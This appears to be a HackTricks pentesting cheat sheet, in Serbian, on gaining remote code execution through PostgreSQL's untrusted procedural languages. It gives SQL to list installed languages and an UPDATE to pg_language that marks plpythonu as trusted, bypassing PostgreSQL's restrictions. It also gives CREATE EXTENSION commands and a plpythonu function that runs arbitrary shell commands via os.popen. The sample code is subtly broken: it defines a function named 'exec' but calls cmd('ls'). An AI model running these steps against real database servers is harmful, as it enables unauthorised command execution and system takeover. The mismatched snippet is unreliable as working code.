RCE with PostgreSQL Languages

Podržite HackTricks

PostgreSQL jezici

PostgreSQL baza podataka kojoj ste pristupili može imati različite instalirane skriptne jezike koje možete zloupotrebiti da izvršite proizvoljan kod.

Možete pokrenuti ih:

\dL *

SELECT lanname,lanpltrusted,lanacl FROM pg_language;

Većina skriptnih jezika koje možete instalirati u PostgreSQL ima 2 varijante: pouzdanu i nepouzdanu. Nepouzdana će imati naziv koji se završava na "u" i biće verzija koja će vam omogućiti da izvršavate kod i koristite druge zanimljive funkcije. Ovo su jezici koji su zanimljivi ako su instalirani:

  • plpythonu

  • plpython3u

  • plperlu

  • pljavaU

  • plrubyu

  • ... (bilo koji drugi programski jezik koji koristi nesigurnu verziju)

Ako otkrijete da je zanimljiv jezik instaliran ali nepouzdan od strane PostgreSQL (lanpltrusted je false) možete pokušati da ga pouzdano postavite sa sledećom linijom kako ne bi bile primenjene nikakve restrikcije od strane PostgreSQL:

UPDATE pg_language SET lanpltrusted=true WHERE lanname='plpythonu';
# To check your permissions over the table pg_language
SELECT * FROM information_schema.table_privileges WHERE table_name = 'pg_language';

Ako ne vidite jezik, možete pokušati da ga učitate sa (morate biti superadmin):

CREATE EXTENSION plpythonu;
CREATE EXTENSION plpython3u;
CREATE EXTENSION plperlu;
CREATE EXTENSION pljavaU;
CREATE EXTENSION plrubyu;

Napomena da je moguće kompajlirati sigurne verzije kao "nesigurne". Pogledajte ovo kao primer. Tako da uvek vredi pokušati ako možete izvršiti kod čak i ako pronađete samo instaliranu trusted verziju.

plpythonu/plpython3u

CREATE OR REPLACE FUNCTION exec (cmd text)
RETURNS VARCHAR(65535) stable
AS $$
import os
return os.popen(cmd).read()
#return os.execve(cmd, ["/usr/lib64/pgsql92/bin/psql"], {})
$$
LANGUAGE 'plpythonu';

SELECT cmd("ls"); #RCE with popen or execve

pgSQL

Proverite sledeću stranicu:

PL/pgSQL Password Bruteforce

C

Proverite sledeću stranicu:

RCE with PostgreSQL Extensions
Podržite HackTricks

Last updated